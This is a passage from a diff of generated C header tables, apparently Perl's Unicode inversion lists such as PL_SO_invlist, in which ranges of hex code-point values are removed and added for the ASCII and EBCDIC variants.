0xFF0C, - 0xFF1C, - 0xFF1F, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFFE2, - 0xFFE3, - 0xFFE9, - 0xFFED, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1EEF0, - 0x1EEF2 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_SMALLFORMS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xFE50, - 0xFE70 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_SO_invlist[] = { /* for ASCII/Latin1 */ - 347, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA6, - 0xA7, - 0xA9, 0xAA, + 0xAC, + 0xAD, 0xAE, 0xAF, - 0xB0, - 0xB1, - 0x482, - 0x483, - 0x58D, - 0x58F, - 0x60E, - 0x610, - 0x6DE, - 0x6DF, - 0x6E9, - 0x6EA, - 0x6FD, - 0x6FF, - 0x7F6, - 0x7F7, - 0x9FA, - 0x9FB, - 0xB70, - 0xB71, - 0xBF3, - 0xBF9, - 0xBFA, - 0xBFB, - 0xC7F, - 0xC80, - 0xD4F, - 0xD50, - 0xD79, - 0xD7A, - 0xF01, - 0xF04, - 0xF13, - 0xF14, - 0xF15, - 0xF18, - 0xF1A, - 0xF20, - 0xF34, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xFBE, - 0xFC6, - 0xFC7, - 0xFCD, - 0xFCE, - 0xFD0, - 0xFD5, - 0xFD9, - 0x109E, - 0x10A0, - 0x1390, - 0x139A, - 0x1940, - 0x1941, - 0x19DE, - 0x1A00, - 0x1B61, - 0x1B6B, - 0x1B74, - 0x1B7D, - 0x2100, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2118, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x214A, - 0x214B, - 0x214C, - 0x214E, - 0x214F, - 0x2150, - 0x218A, - 0x218C, - 0x2195, - 0x219A, - 0x219C, - 0x21A0, - 0x21A1, - 0x21A3, - 0x21A4, - 0x21A6, - 0x21A7, - 0x21AE, - 0x21AF, - 0x21CE, - 0x21D0, - 0x21D2, - 0x21D3, - 0x21D4, - 0x21D5, - 0x21F4, - 0x2300, - 0x2308, - 0x230C, - 0x2320, - 0x2322, - 0x2329, - 0x232B, - 0x237C, - 0x237D, - 0x239B, - 0x23B4, - 0x23DC, - 0x23E2, - 0x2427, - 0x2440, - 0x244B, - 0x249C, - 0x24EA, - 0x2500, - 0x25B7, - 0x25B8, - 0x25C1, - 0x25C2, - 0x25F8, - 0x2600, - 0x266F, - 0x2670, - 0x2768, - 0x2794, - 0x27C0, - 0x2800, - 0x2900, - 0x2B00, - 0x2B30, - 0x2B45, - 0x2B47, - 0x2B4D, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2CE5, - 0x2CEB, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3004, - 0x3005, - 0x3012, - 0x3014, - 0x3020, - 0x3021, - 0x3036, - 0x3038, - 0x303E, - 0x3040, - 0x3190, - 0x3192, - 0x3196, - 0x31A0, - 0x31C0, - 0x31E4, - 0x3200, - 0x321F, - 0x322A, - 0x3248, - 0x3250, - 0x3251, - 0x3260, - 0x3280, - 0x328A, - 0x32B1, - 0x32C0, - 0x32FF, - 0x3300, - 0x3400, - 0x4DC0, - 0x4E00, - 0xA490, - 0xA4C7, - 0xA828, - 0xA82C, - 0xA836, - 0xA838, - 0xA839, - 0xA83A, - 0xAA77, - 0xAA7A, - 0xFDFD, - 0xFDFE, - 0xFFE4, - 0xFFE5, - 0xFFE8, - 0xFFE9, - 0xFFED, - 0xFFEF, - 0xFFFC, - 0xFFFE, - 0x10137, - 0x10140, - 0x10179, - 0x1018A, - 0x1018C, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FD, - 0x10877, - 0x10879, - 0x10AC8, - 0x10AC9, - 0x1173F, - 0x11740, - 0x16B3C, - 0x16B40, - 0x16B45, - 0x16B46, - 0x1BC9C, - 0x1BC9D, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D1E9, - 0x1D200, - 0x1D242, - 0x1D245, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA87, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F3FB, - 0x1F400, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SO_invlist[] = { /* for EBCDIC 1047 */ - 347, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x6A, - 0x6B, - 0x90, - 0x91, - 0xAF, - 0xB0, - 0xB4, - 0xB5, - 0x482, - 0x483, - 0x58D, - 0x58F, - 0x60E, - 0x610, - 0x6DE, - 0x6DF, - 0x6E9, - 0x6EA, - 0x6FD, - 0x6FF, - 0x7F6, - 0x7F7, - 0x9FA, - 0x9FB, - 0xB70, - 0xB71, - 0xBF3, - 0xBF9, - 0xBFA, - 0xBFB, - 0xC7F, - 0xC80, - 0xD4F, - 0xD50, - 0xD79, - 0xD7A, - 0xF01, - 0xF04, - 0xF13, - 0xF14, - 0xF15, - 0xF18, - 0xF1A, - 0xF20, - 0xF34, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xFBE, - 0xFC6, - 0xFC7, - 0xFCD, - 0xFCE, - 0xFD0, - 0xFD5, - 0xFD9, - 0x109E, - 0x10A0, - 0x1390, - 0x139A, - 0x1940, - 0x1941, - 0x19DE, - 0x1A00, - 0x1B61, - 0x1B6B, - 0x1B74, - 0x1B7D, - 0x2100, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2118, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x214A, - 0x214B, - 0x214C, - 0x214E, - 0x214F, - 0x2150, - 0x218A, - 0x218C, - 0x2195, - 0x219A, - 0x219C, - 0x21A0, - 0x21A1, - 0x21A3, - 0x21A4, - 0x21A6, - 0x21A7, - 0x21AE, - 0x21AF, - 0x21CE, - 0x21D0, - 0x21D2, - 0x21D3, - 0x21D4, - 0x21D5, - 0x21F4, - 0x2300, - 0x2308, - 0x230C, - 0x2320, - 0x2322, - 0x2329, - 0x232B, - 0x237C, - 0x237D, - 0x239B, - 0x23B4, - 0x23DC, - 0x23E2, - 0x2427, - 0x2440, - 0x244B, - 0x249C, - 0x24EA, - 0x2500, - 0x25B7, - 0x25B8, - 0x25C1, - 0x25C2, - 0x25F8, - 0x2600, - 0x266F, - 0x2670, - 0x2768, - 0x2794, - 0x27C0, - 0x2800, - 0x2900, - 0x2B00, - 0x2B30, - 0x2B45, - 0x2B47, - 0x2B4D, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2CE5, - 0x2CEB, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3004, - 0x3005, - 0x3012, - 0x3014, - 0x3020, - 0x3021, - 0x3036, - 0x3038, - 0x303E, - 0x3040, - 0x3190, - 0x3192, - 0x3196, - 0x31A0, - 0x31C0, - 0x31E4, - 0x3200, - 0x321F, - 0x322A, - 0x3248, - 0x3250, - 0x3251, - 0x3260, - 0x3280, - 0x328A, - 0x32B1, - 0x32C0, - 0x32FF, - 0x3300, - 0x3400, - 0x4DC0, - 0x4E00, - 0xA490, - 0xA4C7, - 0xA828, - 0xA82C, - 0xA836, - 0xA838, - 0xA839, - 0xA83A, - 0xAA77, - 0xAA7A, - 0xFDFD, - 0xFDFE, - 0xFFE4, - 0xFFE5, - 0xFFE8, - 0xFFE9, - 0xFFED, - 0xFFEF, - 0xFFFC, - 0xFFFE, - 0x10137, - 0x10140, - 0x10179, - 0x1018A, - 0x1018C, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FD, - 0x10877, - 0x10879, - 0x10AC8, - 0x10AC9, - 0x1173F, - 0x11740, - 0x16B3C, - 0x16B40, - 0x16B45, - 0x16B46, - 0x1BC9C, - 0x1BC9D, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D1E9, - 0x1D200, - 0x1D242, - 0x1D245, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA87, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F3FB, - 0x1F400, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SO_invlist[] = { /* for EBCDIC 037 */ - 347, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x6A, - 0x6B, - 0x90, - 0x91, - 0xAF, - 0xB0, + 0xB3, 0xB4, - 0xB5, + 0xBA, + 0xBB, + 0xC1, + 0xCA, + 0xCB, + 0xD0, + 0xD1, + 0xDA, + 0xDB, + 0xE0, + 0xE2, + 0xEA, + 0xEB, + 0xF0, + 0xFA, + 0xFB, + 0xFF, + 0x100, + 0x2C2, + 0x2C6, + 0x2D2, + 0x2D7, + 0x2D8, + 0x2E0, + 0x2E5, + 0x2EC, + 0x2ED, + 0x2EE, + 0x2EF, + 0x300, + 0x370, + 0x375, + 0x376, + 0x378, + 0x37A, + 0x37E, + 0x37F, + 0x380, + 0x386, + 0x387, + 0x388, + 0x38B, + 0x38C, + 0x38D, + 0x38E, + 0x3A2, + 0x3A3, + 0x3F6, + 0x3F7, 0x482, 0x483, - 0x58D, - 0x58F, + 0x48A, + 0x530, + 0x531, + 0x557, + 0x559, + 0x55A, + 0x561, + 0x588, + 0x589, + 0x58A, + 0x591, + 0x5BE, + 0x5BF, + 0x5C0, + 0x5C1, + 0x5C3, + 0x5C4, + 0x5C6, + 0x5C7, + 0x5C8, + 0x5D0, + 0x5EB, + 0x5F0, + 0x5F3, + 0x5F4, + 0x5F5, + 0x600, + 0x606, + 0x60C, 0x60E, 0x610, + 0x61B, + 0x61C, + 0x61D, + 0x620, + 0x64B, + 0x660, + 0x66A, + 0x66B, + 0x66C, + 0x66D, + 0x66E, + 0x670, + 0x671, + 0x6D4, + 0x6D5, + 0x6D6, + 0x6DD, 0x6DE, 0x6DF, + 0x6E5, + 0x6E7, 0x6E9, 0x6EA, + 0x6EE, + 0x6F0, + 0x6FA, 0x6FD, 0x6FF, + 0x700, + 0x70F, + 0x710, + 0x711, + 0x712, + 0x730, + 0x74B, + 0x74D, + 0x7A6, + 0x7B1, + 0x7B2, + 0x7C0, + 0x7CA, + 0x7EB, + 0x7F4, 0x7F6, - 0x7F7, - 0x9FA, - 0x9FB, + 0x7F8, + 0x7F9, + 0x7FA, + 0x7FB, + 0x800, + 0x816, + 0x81A, + 0x81B, + 0x824, + 0x825, + 0x828, + 0x829, + 0x82E, + 0x840, + 0x859, + 0x85C, + 0x8A0, + 0x8B5, + 0x8B6, + 0x8BE, + 0x8D4, + 0x8E2, + 0x8E3, + 0x904, + 0x93A, + 0x93D, + 0x93E, + 0x950, + 0x951, + 0x958, + 0x962, + 0x964, + 0x966, + 0x970, + 0x971, + 0x981, + 0x984, + 0x985, + 0x98D, + 0x98F, + 0x991, + 0x993, + 0x9A9, + 0x9AA, + 0x9B1, + 0x9B2, + 0x9B3, + 0x9B6, + 0x9BA, + 0x9BC, + 0x9BD, + 0x9BE, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, + 0x9CE, + 0x9CF, + 0x9D7, + 0x9D8, + 0x9DC, + 0x9DE, + 0x9DF, + 0x9E2, + 0x9E4, + 0x9E6, + 0x9F0, + 0x9F2, + 0xA01, + 0xA04, + 0xA05, + 0xA0B, + 0xA0F, + 0xA11, + 0xA13, + 0xA29, + 0xA2A, + 0xA31, + 0xA32, + 0xA34, + 0xA35, + 0xA37, + 0xA38, + 0xA3A, + 0xA3C, + 0xA3D, + 0xA3E, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4E, + 0xA51, + 0xA52, + 0xA59, + 0xA5D, + 0xA5E, + 0xA5F, + 0xA66, + 0xA70, + 0xA72, + 0xA75, + 0xA76, + 0xA81, + 0xA84, + 0xA85, + 0xA8E, + 0xA8F, + 0xA92, + 0xA93, + 0xAA9, + 0xAAA, + 0xAB1, + 0xAB2, + 0xAB4, + 0xAB5, + 0xABA, + 0xABC, + 0xABD, + 0xABE, + 0xAC6, + 0xAC7, + 0xACA, + 0xACB, + 0xACE, + 0xAD0, + 0xAD1, + 0xAE0, + 0xAE2, + 0xAE4, + 0xAE6, + 0xAF0, + 0xAF9, + 0xAFA, + 0xB01, + 0xB04, + 0xB05, + 0xB0D, + 0xB0F, + 0xB11, + 0xB13, + 0xB29, + 0xB2A, + 0xB31, + 0xB32, + 0xB34, + 0xB35, + 0xB3A, + 0xB3C, + 0xB3D, + 0xB3E, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4E, + 0xB56, + 0xB58, + 0xB5C, + 0xB5E, + 0xB5F, + 0xB62, + 0xB64, + 0xB66, 0xB70, 0xB71, - 0xBF3, - 0xBF9, - 0xBFA, - 0xBFB, - 0xC7F, + 0xB72, + 0xB82, + 0xB83, + 0xB84, + 0xB85, + 0xB8B, + 0xB8E, + 0xB91, + 0xB92, + 0xB96, + 0xB99, + 0xB9B, + 0xB9C, + 0xB9D, + 0xB9E, + 0xBA0, + 0xBA3, + 0xBA5, + 0xBA8, + 0xBAB, + 0xBAE, + 0xBBA, + 0xBBE, + 0xBC3, + 0xBC6, + 0xBC9, + 0xBCA, + 0xBCE, + 0xBD0, + 0xBD1, + 0xBD7, + 0xBD8, + 0xBE6, + 0xBF0, + 0xC00, + 0xC04, + 0xC05, + 0xC0D, + 0xC0E, + 0xC11, + 0xC12, + 0xC29, + 0xC2A, + 0xC3A, + 0xC3D, + 0xC3E, + 0xC45, + 0xC46, + 0xC49, + 0xC4A, + 0xC4E, + 0xC55, + 0xC57, + 0xC58, + 0xC5B, + 0xC60, + 0xC62, + 0xC64, + 0xC66, + 0xC70, 0xC80, + 0xC81, + 0xC84, + 0xC85, + 0xC8D, + 0xC8E, + 0xC91, + 0xC92, + 0xCA9, + 0xCAA, + 0xCB4, + 0xCB5, + 0xCBA, + 0xCBC, + 0xCBD, + 0xCBE, + 0xCC5, + 0xCC6, + 0xCC9, + 0xCCA, + 0xCCE, + 0xCD5, + 0xCD7, + 0xCDE, + 0xCDF, + 0xCE0, + 0xCE2, + 0xCE4, + 0xCE6, + 0xCF0, + 0xCF1, + 0xCF3, + 0xD01, + 0xD04, + 0xD05, + 0xD0D, + 0xD0E, + 0xD11, + 0xD12, + 0xD3B, + 0xD3D, + 0xD3E, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, + 0xD4E, 0xD4F, - 0xD50, - 0xD79, + 0xD54, + 0xD57, + 0xD58, + 0xD5F, + 0xD62, + 0xD64, + 0xD66, + 0xD70, 0xD7A, + 0xD80, + 0xD82, + 0xD84, + 0xD85, + 0xD97, + 0xD9A, + 0xDB2, + 0xDB3, + 0xDBC, + 0xDBD, + 0xDBE, + 0xDC0, + 0xDC7, + 0xDCA, + 0xDCB, + 0xDCF, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDE0, + 0xDE6, + 0xDF0, + 0xDF2, + 0xDF4, + 0xE31, + 0xE32, + 0xE34, + 0xE3B, + 0xE47, + 0xE4F, + 0xE50, + 0xE5A, + 0xEB1, + 0xEB2, + 0xEB4, + 0xEBA, + 0xEBB, + 0xEBD, + 0xEC8, + 0xECE, + 0xED0, + 0xEDA, + 0xF00, 0xF01, - 0xF04, - 0xF13, - 0xF14, - 0xF15, 0xF18, 0xF1A, 0xF20, - 0xF34, + 0xF2A, 0xF35, 0xF36, 0xF37, 0xF38, 0xF39, - 0xFBE, + 0xF3A, + 0xF3E, + 0xF40, + 0xF48, + 0xF49, + 0xF6D, + 0xF71, + 0xF85, + 0xF86, + 0xF88, + 0xF8D, + 0xF98, + 0xF99, + 0xFBD, 0xFC6, 0xFC7, - 0xFCD, - 0xFCE, - 0xFD0, - 0xFD5, - 0xFD9, + 0x102B, + 0x103F, + 0x1040, + 0x104A, + 0x1056, + 0x105A, + 0x105E, + 0x1061, + 0x1062, + 0x1065, + 0x1067, + 0x106E, + 0x1071, + 0x1075, + 0x1082, + 0x108E, + 0x108F, + 0x1090, + 0x109A, 0x109E, 0x10A0, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x10D0, + 0x10FB, + 0x10FC, + 0x1249, + 0x124A, + 0x124E, + 0x1250, + 0x1257, + 0x1258, + 0x1259, + 0x125A, + 0x125E, + 0x1260, + 0x1289, + 0x128A, + 0x128E, + 0x1290, + 0x12B1, + 0x12B2, + 0x12B6, + 0x12B8, + 0x12BF, + 0x12C0, + 0x12C1, + 0x12C2, + 0x12C6, + 0x12C8, + 0x12D7, + 0x12D8, + 0x1311, + 0x1312, + 0x1316, + 0x1318, + 0x135B, + 0x135D, + 0x1360, + 0x1380, 0x1390, - 0x139A, - 0x1940, - 0x1941, - 0x19DE, + 0x13A0, + 0x13F6, + 0x13F8, + 0x13FE, + 0x1401, + 0x166D, + 0x166F, + 0x1680, + 0x1681, + 0x169B, + 0x16A0, + 0x16EB, + 0x16EE, + 0x16F9, + 0x1700, + 0x170D, + 0x170E, + 0x1712, + 0x1715, + 0x1720, + 0x1732, + 0x1735, + 0x1740, + 0x1752, + 0x1754, + 0x1760, + 0x176D, + 0x176E, + 0x1771, + 0x1772, + 0x1774, + 0x17B4, + 0x17D4, + 0x17DD, + 0x17DE, + 0x17E0, + 0x17EA, + 0x180B, + 0x180E, + 0x180F, + 0x1810, + 0x181A, + 0x1820, + 0x1878, + 0x1880, + 0x1885, + 0x1887, + 0x18A9, + 0x18AA, + 0x18AB, + 0x18B0, + 0x18F6, + 0x1900, + 0x191F, + 0x1920, + 0x192C, + 0x1930, + 0x193C, + 0x1946, + 0x1950, + 0x19D0, + 0x19DA, 0x1A00, - 0x1B61, + 0x1A17, + 0x1A1C, + 0x1A55, + 0x1A5F, + 0x1A60, + 0x1A7D, + 0x1A7F, + 0x1A80, + 0x1A8A, + 0x1A90, + 0x1A9A, + 0x1AB0, + 0x1ABF, + 0x1B00, + 0x1B05, + 0x1B34, + 0x1B45, + 0x1B4C, + 0x1B50, + 0x1B5A, 0x1B6B, 0x1B74, - 0x1B7D, - 0x2100, + 0x1B80, + 0x1B83, + 0x1BA1, + 0x1BAE, + 0x1BB0, + 0x1BBA, + 0x1BE6, + 0x1BF4, + 0x1C00, + 0x1C24, + 0x1C38, + 0x1C40, + 0x1C4A, + 0x1C4D, + 0x1C50, + 0x1C5A, + 0x1C7E, + 0x1C80, + 0x1C89, + 0x1CD0, + 0x1CD3, + 0x1CD4, + 0x1CE9, + 0x1CED, + 0x1CEE, + 0x1CF2, + 0x1CF5, + 0x1CF7, + 0x1CF8, + 0x1CFA, + 0x1D00, + 0x1DC0, + 0x1DF6, + 0x1DFB, + 0x1E00, + 0x1F16, + 0x1F18, + 0x1F1E, + 0x1F20, + 0x1F46, + 0x1F48, + 0x1F4E, + 0x1F50, + 0x1F58, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, + 0x1F7E, + 0x1F80, + 0x1FB5, + 0x1FB6, + 0x1FBD, + 0x1FBE, + 0x1FBF, + 0x1FC2, + 0x1FC5, + 0x1FC6, + 0x1FCD, + 0x1FD0, + 0x1FD4, + 0x1FD6, + 0x1FDC, + 0x1FE0, + 0x1FED, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FFD, + 0x2000, + 0x200B, + 0x200C, + 0x200D, + 0x200E, + 0x2010, + 0x2018, + 0x201A, + 0x2024, + 0x2025, + 0x2027, + 0x2028, + 0x202A, + 0x202F, + 0x2030, + 0x203F, + 0x2041, + 0x2044, + 0x2045, + 0x2054, + 0x2055, + 0x205F, + 0x2060, + 0x2065, + 0x2066, + 0x2070, + 0x2071, + 0x2072, + 0x207F, + 0x2080, + 0x2090, + 0x209D, + 0x20D0, + 0x20F1, 0x2102, 0x2103, 0x2107, @@ -348394,7 +50840,7 @@ static const UV PL_SO_invlist[] = { /* for EBCDIC 037 */ 0x2114, 0x2115, 0x2116, - 0x2118, + 0x2119, 0x211E, 0x2124, 0x2125, @@ -348407,186 +50853,711 @@ static const UV PL_SO_invlist[] = { /* for EBCDIC 037 */ 0x212F, 0x213A, 0x213C, + 0x2140, + 0x2145, 0x214A, - 0x214B, - 0x214C, 0x214E, 0x214F, - 0x2150, - 0x218A, - 0x218C, - 0x2195, - 0x219A, - 0x219C, - 0x21A0, - 0x21A1, - 0x21A3, - 0x21A4, - 0x21A6, - 0x21A7, - 0x21AE, - 0x21AF, - 0x21CE, - 0x21D0, - 0x21D2, - 0x21D3, - 0x21D4, - 0x21D5, - 0x21F4, - 0x2300, - 0x2308, - 0x230C, - 0x2320, - 0x2322, - 0x2329, - 0x232B, - 0x237C, - 0x237D, - 0x239B, - 0x23B4, - 0x23DC, - 0x23E2, - 0x2427, - 0x2440, - 0x244B, - 0x249C, + 0x2160, + 0x2189, + 0x24B6, 0x24EA, - 0x2500, - 0x25B7, - 0x25B8, - 0x25C1, - 0x25C2, - 0x25F8, - 0x2600, - 0x266F, - 0x2670, - 0x2768, - 0x2794, - 0x27C0, - 0x2800, - 0x2900, - 0x2B00, - 0x2B30, - 0x2B45, - 0x2B47, - 0x2B4D, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, + 0x261D, + 0x261E, + 0x26F9, + 0x26FA, + 0x270A, + 0x270E, + 0x2764, + 0x2765, + 0x2C00, + 0x2C2F, + 0x2C30, + 0x2C5F, + 0x2C60, 0x2CE5, 0x2CEB, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3004, + 0x2CEF, + 0x2CF2, + 0x2CF4, + 0x2D00, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, + 0x2D30, + 0x2D68, + 0x2D6F, + 0x2D70, + 0x2D7F, + 0x2D80, + 0x2D97, + 0x2DA0, + 0x2DA7, + 0x2DA8, + 0x2DAF, + 0x2DB0, + 0x2DB7, + 0x2DB8, + 0x2DBF, + 0x2DC0, + 0x2DC7, + 0x2DC8, + 0x2DCF, + 0x2DD0, + 0x2DD7, + 0x2DD8, + 0x2DDF, + 0x2DE0, + 0x2E00, + 0x2E2F, + 0x2E30, + 0x3000, + 0x3001, 0x3005, - 0x3012, - 0x3014, - 0x3020, - 0x3021, + 0x3006, + 0x302A, + 0x3030, + 0x3031, 0x3036, - 0x3038, - 0x303E, - 0x3040, - 0x3190, - 0x3192, - 0x3196, + 0x303B, + 0x303D, + 0x3099, + 0x309B, + 0x309D, + 0x30A0, + 0x30FB, + 0x30FC, + 0x3100, + 0x3105, + 0x312E, + 0x3131, + 0x318F, 0x31A0, - 0x31C0, - 0x31E4, + 0x31BB, + 0x31F0, 0x3200, - 0x321F, - 0x322A, - 0x3248, - 0x3250, - 0x3251, - 0x3260, - 0x3280, - 0x328A, - 0x32B1, - 0x32C0, + 0x32D0, 0x32FF, 0x3300, - 0x3400, - 0x4DC0, - 0x4E00, - 0xA490, - 0xA4C7, + 0x3358, + 0xA000, + 0xA48D, + 0xA4D0, + 0xA4FE, + 0xA500, + 0xA60D, + 0xA610, + 0xA620, + 0xA62A, + 0xA62C, + 0xA640, + 0xA66F, + 0xA673, + 0xA674, + 0xA67E, + 0xA67F, + 0xA69E, + 0xA6A0, + 0xA6F0, + 0xA6F2, + 0xA717, + 0xA720, + 0xA722, + 0xA789, + 0xA78B, + 0xA7AF, + 0xA7B0, + 0xA7B8, + 0xA7F7, + 0xA802, + 0xA803, + 0xA806, + 0xA807, + 0xA80B, + 0xA80C, + 0xA823, 0xA828, - 0xA82C, - 0xA836, - 0xA838, - 0xA839, - 0xA83A, - 0xAA77, - 0xAA7A, - 0xFDFD, - 0xFDFE, - 0xFFE4, - 0xFFE5, - 0xFFE8, - 0xFFE9, - 0xFFED, - 0xFFEF, + 0xA840, + 0xA874, + 0xA880, + 0xA882, + 0xA8B4, + 0xA8C6, + 0xA8D0, + 0xA8DA, + 0xA8E0, + 0xA8F2, + 0xA8F8, + 0xA8FB, + 0xA8FC, + 0xA8FD, + 0xA8FE, + 0xA900, + 0xA90A, + 0xA926, + 0xA92E, + 0xA930, + 0xA947, + 0xA954, + 0xA960, + 0xA97D, + 0xA980, + 0xA984, + 0xA9B3, + 0xA9C1, + 0xA9CF, + 0xA9D0, + 0xA9DA, + 0xA9E5, + 0xA9E6, + 0xA9F0, + 0xA9FA, + 0xAA00, + 0xAA29, + 0xAA37, + 0xAA40, + 0xAA43, + 0xAA44, + 0xAA4C, + 0xAA4E, + 0xAA50, + 0xAA5A, + 0xAA7B, + 0xAA7E, + 0xAAB0, + 0xAAB1, + 0xAAB2, + 0xAAB5, + 0xAAB7, + 0xAAB9, + 0xAABE, + 0xAAC0, + 0xAAC1, + 0xAAC2, + 0xAAE0, + 